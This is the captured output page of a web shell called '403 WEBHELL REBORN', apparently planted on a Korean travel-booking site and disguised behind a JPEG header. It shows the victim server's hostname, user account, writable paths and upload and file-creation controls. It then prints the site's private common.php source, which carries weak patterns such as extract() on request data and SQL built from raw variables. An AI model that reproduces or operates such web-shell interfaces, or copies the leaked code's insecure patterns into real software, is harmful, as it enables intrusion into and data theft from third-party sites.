ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/common.php
<?
/**
 * 공통, 세션, 홈페이지 설정
 *
 * 작성자 :
 * 작성일 : 2009.08.20
 */

/******************************************************************************
* 공통 설정
******************************************************************************/
// PHP error_reporting
//if($_SERVER['REMOTE_ADDR']=="14.6.87.193"){
if($_SERVER['REMOTE_ADDR']=="222.235.102.44"){
//	error_reporting(E_ALL ^ E_NOTICE );
} else{
	error_reporting(0);
}

ob_start();

/******************************************************************************
* 세션 설정
******************************************************************************/
if (isset($SESSION_CACHE_LIMITER)) @session_cache_limiter($SESSION_CACHE_LIMITER);
else @session_cache_limiter("no-cache, must-revalidate");

ini_set("session.use_trans_sid", 0);    // PHPSESSID를 자동으로 넘기지 않음
ini_set("url_rewriter.tags", ""); // 링크(URL)에 PHPSESSID가 따라다니는것을 무력화함
ini_set("session.gc_maxlifetime", "18000"); // 세션 가비지 컬렉션 (초)
ini_set("session.gc_probability", 1); // session.gc_probability는 session.gc_divisor와 연계하여 gc(쓰레기 수거) 루틴의 시작 확률을 관리합니다. 기본값은 1입니다. 자세한 내용은 session.gc_divisor를 참고하십시오.
ini_set("session.gc_divisor", 100); // session.gc_divisor는 session.gc_probability와 결합하여 각 세션 초기화 시에 gc(쓰레기 수거) 프로세스를 시작할 확률을 정의합니다. 확률은 gc_probability/gc_divisor를 사용하여 계산합니다. 즉, 1/100은 각 요청시에 GC 프로세스를 시작할 확률이 1%입니다. session.gc_divisor의 기본값은 100입니다.
//ini_set("session.cookie_domain", ".TkAdminSystem.co.kr");

session_set_cookie_params(0, '/; SameSite=None', $_SERVER['HTTP_HOST'], true, true);
session_save_path($_SERVER['DOCUMENT_ROOT'].'/FileData/session'); // 세션저장

@session_start();

// W3C P3P 규약설정(보안설정이나 프레임이 달라도 쿠키가 통하도록 설정)
@header('P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"');

// 최대 실행 시간 제한(초)
if (!isset($set_time_limit)) $set_time_limit = 0;
@set_time_limit($set_time_limit);

// 경로 세팅
define('ROOT_DIR', str_replace('/Lib', '', str_replace('\\', '/', dirname(__FILE__))));
define('DIR_LOG', ROOT_DIR."/logs");
define('LIB_DIR', ROOT_DIR."/Lib");
define('PARTNER_DIR', ROOT_DIR."/partner");
define('CLASS_DIR', ROOT_DIR."/LibClass");
define('DS', DIRECTORY_SEPARATOR);

// 짧은 환경변수를 지원하지 않는다면(PHP 4 이하)
if (isset($HTTP_POST_VARS) && !isset($_POST)) {
	$_POST = &$HTTP_POST_VARS;
	$_GET = &$HTTP_GET_VARS;
	$_SERVER = &$HTTP_SERVER_VARS;
	$_COOKIE = &$HTTP_COOKIE_VARS;
	$_ENV = &$HTTP_ENV_VARS;
	$_FILES = &$HTTP_POST_FILES;
	if (!isset($_SESSION)) $_SESSION = &$HTTP_SESSION_VARS;
}

// 특수문자 필터링설정 (php.ini 의 magic_quotes_gpc 옵션값이 Off 인 경우 addslashes() 적용)
// SQL 쿼리 취약점 공격 보호를 위해
if (!get_magic_quotes_gpc()) {
	if (is_array($_GET)) {
		while(list($k, $v) = each($_GET)) {
			if (is_array($_GET[$k])) {
				while(list($k2, $v2) = each($_GET[$k])) {
					$_GET[$k][$k2] = addslashes($v2);
				}
				@reset($_GET[$k]);
			}
			else {
				$_GET[$k] = addslashes($v);
			}
		}
		@reset($_GET);
	}

	if (is_array($_POST)) {
		while(list($k, $v) = each($_POST)) {
			if (is_array($_POST[$k])) {
				while(list($k2, $v2) = each($_POST[$k])) {
					$_POST[$k][$k2] = addslashes($v2);
				}
				@reset($_POST[$k]);
			}
			else {
				$_POST[$k] = addslashes($v);
			}
		}
		@reset($_POST);
	}

	if (is_array($_COOKIE)) {
		while(list($k, $v) = each($_COOKIE)) {
			if (is_array($_COOKIE[$k])) {
				while(list($k2, $v2) = each($_COOKIE[$k])) {
					$_COOKIE[$k][$k2] = addslashes($v2);
				}
				@reset($_COOKIE[$k]);
			}
			else {
				$_COOKIE[$k] = addslashes($v);
			}
		}
		@reset($_COOKIE);
	}
}

// extract() - PHP 4.1.0 부터 지원됨
// php.ini 의 register_globals=off 일 경우 register_globals=on 처럼 사용하기 위함
@extract($_GET);
@extract($_POST);
@extract($_SERVER);

// 기본 변수 초기화
$cf = array();			// config.php 의 기본 설정
$TO_CF = array();		// 기본 홈페이지 설정 (업체정보/사이트설정)
unset($TO_BD);			// 게시판 설정
unset($TO_MB);			// 회원정보

// 공통파일 인클루드
$cf['MODE'] = "user"; // 사용자모드
$cf['path'] = $_SERVER['DOCUMENT_ROOT'];	// 로컬 루트경로
include("$cf[path]/Lib/config.php");		// 기본 설정 파일
include("$cf[path]/Lib/common.lib.php");	// 공통 라이브러리
include("$cf[path]/Lib/to_good.lib.php"); // 패키지 여행 라이브러리
include("$cf[path]/Lib/to_ticket.lib.php"); // 티켓 라이브러리
include("$cf[path]/Lib/to_member.lib.php"); // 회원 라이브러리
include("$cf[path]/Lib/to_air.lib.php"); // 할인항공 라이브러리
include("$cf[path]/Lib/to_hotel.lib.php"); // 호텔숙박 라이브러리(호텔목록및 상세)
//include("$cf[path]/Lib/to_rentcar.lib.php"); // 렌트카 라이브러리
include("$cf[path]/Lib/to_common.lib.php"); // 투어오피스 공통 라이브러리(기초코드,지역공통,게시판)
include("$cf[path]/Lib/connect.php");		// DB 컨넥션 파일
include_once($cf['path'] . "/Lib/dean_log.php");		// Debug

// Class 인클루드
$arr = get_dirlist($cf[path]."/LibClass");
if(is_array($arr)){foreach($arr as $v){
	if(strstr($v,".class.php")){
		include_once($cf[path]."/LibClass/".$v);
	}
}}

// 실행시간 시작 (Excuted Start Time)
$_starttime = get_microtime();

/******************************************************************************
* 홈페이지 설정
******************************************************************************/
// 기본 홈페이지 설정 (업체정보/사이트설정)
$TO_CF = db_fetch("select * from TB_SHOP_CONFIG limit 1");
$TO_CF['logo_top'] = "/FileData/logo/".$TO_CF['shop_logo']; // 상단로고 - 홈페이지,메일,바우처...
//$TO_CF['logo_bottom'] = "/FileData/logo/".$TO_CF['shop_bottom_logo']; // 하단로고
$TO_CF['logo_top_mobile'] = "/FileData/logo/".$TO_CF['shop_bottom_logo']; // 외국어 모바일 사이트로고
$TO_CF['logo_top_lang'] = "/FileData/logo/".$TO_CF['shop_logo_lang']; // 상단로고 외국어 - 홈페이지,메일,바우처...
$TO_CF['logo_sns'] = "/FileData/logo/sns_logo_ko.png"; // sns로고

// NAVERWORKS SMTP 설정
$TO_CF_SMTP = db_fetch("select * from TB_SMTP_CONFIG limit 1");

//언어별 회사, 홈페이지 정보변경
if($cf['lang']!='ko' && $cf['lang']!='ag') {	//외국어사이트
	$TO_CF['shop_title'] = $TO_CF['shop_title_'.$cf['lang']];		//홈페이지타이틀
	$TO_CF['shop_company'] = $TO_CF['shop_company_'.$cf['lang']];		//회사명
	$TO_CF['shop_address'] = $TO_CF['shop_address_'.$cf['lang']];		//주소
	$TO_CF['shop_owner'] = $TO_CF['shop_owner_'.$cf['lang']];		//대표자
	$TO_CF['shop_name'] = $TO_CF['shop_name_'.$cf['lang']];		//사이트명
	$TO_CF['shop_description'] = $TO_CF['shop_description_'.$cf['lang']];		//meta description
	$TO_CF['shop_keywords'] = $TO_CF['shop_keywords_'.$cf['lang']];		//meta keywords
	$TO_CF['shop_salestime_holiday'] = $TO_CF['shop_salestime_holiday_'.$cf['lang']];		//업무시간 휴일
	$TO_CF['logo_top'] = $TO_CF['logo_top_lang'];
	$TO_CF['shop_admin_icon'] = $TO_CF['shop_admin_icon_lang'];	//관리자 아이콘
	$TO_CF['shop_tel'] = $TO_CF['shop_tel_lang'];	//전화번호
	$TO_CF['shop_fax'] = $TO_CF['shop_fax_lang'];	//팩스
	$TO_CF['shop_bank'] = $TO_CF['shop_bank_lang'];	//은행정보
	$TO_CF['shop_bank_accounter'] = $TO_CF['shop_bank_accounter_lang'];	//은행정보
	$TO_CF['shop_sales_ino'] = $TO_CF['shop_sales_ino_'.$cf['lang']];		//통신판매업신고
	$TO_CF['shop_email'] = $TO_CF['shop_email_lang'];		//이메일
	$TO_CF['logo_sns'] = "/FileData/logo/sns_logo.png"; // sns로고

}
elseif($cf['lang']=='ag') {	//대리점 정보
	$TO_CF['shop_title'] = "TKPLACE";		//홈페이지타이틀
	$TO_CF['shop_name'] = "TKPLACE";		//사이트명
	$TO_CF['logo_top'] = "/FileData/logo/".$TO_CF['shop_logo_ag']; // 상단로고
	$TO_CF['logo_top_mobile'] = "/FileData/logo/".$TO_CF['shop_logo_ag_mobile']; // 상단로고 모바일\
}
//smtp 이메일발송시 회사이메일(from mail) 이용
$TO_CF['shop_email_lang'] = $TO_CF['shop_email_lang'];

// 홈페이지 타이틀 설정
$cf['title'] = ($TO_CF['shop_title']) ? $TO_CF['shop_title'] : $cf['title'];

//관리자에게 메일발송시 메일주소
$TO_CF['admin_email'] ="webmaster@tktravelkorea.com";

// 기본 홈페이지 설정 추가
// /Lib/config.php 파일에서 수정가능
$TO_CF['image_ext']		= $cf['image_ext'];
$TO_CF['movie_ext']		= $cf['movie_ext'];
$TO_CF['flash_ext']		= $cf['flash_ext'];
$TO_CF['possible_ip']	= $cf['possible_ip'];
$TO_CF['avoid_ip']		= $cf['avoid_ip'];
$TO_CF['avoid_word']	= $cf['avoid_word'];

// 익스와 넷스케이프 체크
$TO_CF['is_ie'] = (preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT'])) ? true : false;

// PHP 파서가 실행되고 있는 OS 체크
$TO_CF['is_window'] = (preg_match("/win/i", PHP_OS)) ? true : false;

// URL ENCODING
$_SERVER['REQUEST_URI'] = request_uri();
if (isset($Url))
	$UrlStr = urlencode($Url);
else
	$UrlStr = urlencode($_SERVER['REQUEST_URI']);
$cf['urlencode'] = $UrlStr;

// url상 파일명
$cf['url_php_self'] = basename($_SERVER['PHP_SELF']);

// PHPSESSID 가 틀리면 로그아웃한다.
if ($_REQUEST['PHPSESSID'] && $_REQUEST['PHPSESSID'] != session_id()) {
	movepage("$[path]/member/logout.html");
}

// 로그인 설정(2014-10-07)
if (!$cf['guest_level']) $cf['guest_level'] = $cf['guest_level'];
if ($_SESSION['MemberID']) { // 로그인
	// 로그인 회원정보를 가져옴
	$TO_MB = get_member($_SESSION['MemberID']);

	//이메일
	if (!$TO_MB['mb_email'] ) $TO_MB['mb_email'] = $TO_MB['mb_id'];

	// 로그인 세션정보 설정
	$MemberID		= $_SESSION['MemberID'];
	$MemberLevel	= $_SESSION['MemberLevel'];
	$MemberEmail	= $_SESSION['MemberEmail'];
	$MemberName		= $_SESSION['MemberName'];

	$MemberType		= $_SESSION['MemberType'];	//sns 로그인인경우 SNS

	if($_SESSION['AgentID'])	$AgentID		= $_SESSION['AgentID'];	//대리점
}
 // 비로그인(2014-10-07)
else if($_SESSION['MemberName'])
{
	// 비회원 레벨
	$TO_MB['mb_level'] = 22; // 예약 & 장바구니 조회

	// 비회원 기본정보
	if ( $_SESSION['MemberName'] ) $TO_MB['mb_nm'] = $_SESSION['MemberName'];
	if ( $_SESSION['MemberEmail'] ) $TO_MB['mb_email'] = $_SESSION['MemberEmail'];
	if ( $_SESSION['MemberHp'] ) $TO_MB['mb_phone'] = $_SESSION['MemberHp'];
}


// 레벨을 한번 더 체크 (치명적 오류발생 방지를 위함)
if (!$TO_MB[mb_level] || $TO_MB[mb_level] == 0) $TO_MB[mb_level] = $cf['guest_level'];

// 현재 로그인중인 회원이 관리자인지 검사
$TO_ADMIN = TO_admin($TO_MB);

// 게시판 설정 가져옴
if (isset($BD_CD)) {
	$TO_BD = TO_get_board_setup($BD_CD);
	$GRP_CD = $TO_BD['GRP_CD']; // 게시판 그룹
}

//언어별 그룹코드(인포)
$info_grp = db_fetch("select GRP_CD, GRP_NM from TB_INFO_GRP where lang = '{$cf[lang]}'");

// 인포 설정 가저옴
if ($DIR_CODE == 'INFO'){

	$GRP_CD = $info_grp['GRP_CD'];
	$GRP_NM = $info_grp['GRP_NM'];

	if (isset($BD_CD)) {
		$TO_BD = TO_get_info_setup($BD_CD);
		//$GRP_CD = $TO_BD['GRP_CD']; // 게시판 그룹

		// 메타태그용
		if($TO_BD && $MSEQ){
			$info_tmp = db_fetch("select MTITLE, MHASH from TB_INFO_DATA where BD_CD = '{$BD_CD}' AND MSEQ = '{$MSEQ}'");
			if($info_tmp['MHASH']){
				$META_KEYWORD = ", " . $info_tmp['MHASH'];
			}
			if($info_tmp['MTITLE']){
				$META_TITLE = " - " . $info_tmp['MTITLE'];
			}
		}
	}
}

// 이벤트 리스트 (다른게시판과 다르게 게시판 1개로 여러 언어 사용)
if($BD_CD == 'EVENT'){
	switch($cf['lang']){
		case 'ko':
			$TO_BD['GRP_NM'] = '고객센터';
			$TO_BD['GRP_CD'] = 'GRP01';
			break;
		case 'cn':
			$TO_BD['GRP_NM'] = '客服中心';
			$TO_BD['GRP_CD'] = 'GRP03';
			break;
		case 'hk':
			$TO_BD['GRP_NM'] = '客服中心';
			$TO_BD['GRP_CD'] = 'GRP04';
			break;
		case 'en':
			$TO_BD['GRP_NM'] = 'CS Center';
			$TO_BD['GRP_CD'] = 'GRP02';
			break;
	}
	$GRP_NM = $TO_BD['GRP_NM']; // 게시판 그룹명
	$GRP_CD = $TO_BD['GRP_CD']; // 게시판 그룹
}
// 검색어 설정
$stxt = stripslashes(trim($stxt));

// 링크 설정
unset($href);
if ($scat) $href .= "&scat=" . urlencode($scat); // search category (검색 카테고리)
if ($sfld) $href .= "&sfld=" . urlencode($sfld); // search field (검색 필드)
if ($stxt) $href .= "&stxt=" . urlencode($stxt); // search text (검색 텍스트)
if ($sopr) $href .= "&sopr=" . urlencode($sopr); // search operator (검색 연산자 or, and)
if ($sort) $href .= "&sort=" . urlencode($sort); // search sort (검색 정렬 필드)
if ($sord) $href .= "&sord=" . urlencode($sord); // search order (검색 오름, 내림차순)
//if ($page) $href .= "&page=" . urlencode($page); => $page

// 접근가능/차단 IP
if ($is_admin != "super") {
	// 접근가능 IP
	$is_possible_ip = false;
	$possible_ip = explode(",", trim($TO_CF['possible_ip']));
	for ($i=0; $i<count($possible_ip); $i++) {
		$possible_ip[$i] = trim($possible_ip[$i]);
		if (empty($possible_ip[$i])) continue;

		$pattern = "/^({$possible_ip[$i]})/";
		$is_possible_ip = preg_match($pattern, $_SERVER['REMOTE_ADDR']);
		if (!$is_possible_ip) die ("접근이 불가능 합니다.");
	}

	// 접근차단 IP
	$is_avoid_ip = false;
	$avoid_ip = explode(",", trim($TO_CF['avoid_ip']));
	for ($i=0; $i<count($avoid_ip); $i++) {
		$avoid_ip[$i] = trim($avoid_ip[$i]);
		if (empty($avoid_ip[$i])) continue;

		$pattern = "/^({$avoid_ip[$i]})/";
		$is_avoid_ip = preg_match($pattern, $_SERVER['REMOTE_ADDR']);
		if ($is_avoid_ip) die ("접근이 불가능 합니다.");
	}
}

// 상단 TOP 메뉴
$top_menu = TO_get_bc("","N"," and b_lang='{$cf[lang]}' ");
$TO_MENU = array();
$t_cnt = 0;
for($i=0 ; $i<count($top_menu) ; $i++) {
	$top_menu_arr = $top_menu[$i];
	if ($top_menu_arr['href'] and $t_cnt < $cf['disp_top_menu_cnt'])
	{
			if($cf['tab'][$top_menu_arr['tab']]=="Y") {
			$TO_MENU[] = $top_menu_arr;
			$t_cnt++;
		}
	}
}

// 허용된 tab만 모으기
$cf['tab2'] = array();
foreach($cf['tab'] as $key => $val) {
	if ($val=="Y") {
		$arr_t = TO_good_module("all",$key);
		$cf['tab2'][] = $arr_t;
	}
}

// 예약확인 > 기능(tab)이 허용된 페이지
$top_sw = true;
$TO_CF['res_list'] = "/mypage/good_res.html"; // PC
$TO_CF['m_res_list'] = "/tmbi_mypage/good_res.html"; // MOBILE

foreach($cf['tab'] as $key => $val) {
	if ($val=="Y" and $top_sw==true) {
		$arr_t = reserv_tab($key);
		if ( $arr_t['res_list'] ) $TO_CF['res_list'] = $arr_t['res_list'];
		$top_sw=false;
	}
}

//언어별 환율계산
// TB_EXCHANGE(table) exid - USD
$rs = db_fetch("select * from TB_EXCHANGE where exid='1'");
$cf['ext_to_krw'] =(int)$rs[ext_to_krw];

//1HKD 당 TWD(2019-11-21이후 사용X)
$hsql = "select * from TB_HWANYULL order by ins_dt desc limit 1";
$hdata = db_fetch($hsql);
$cf['twd'] = $hdata['price_tw_hk'];


?>

Anon7 - 2021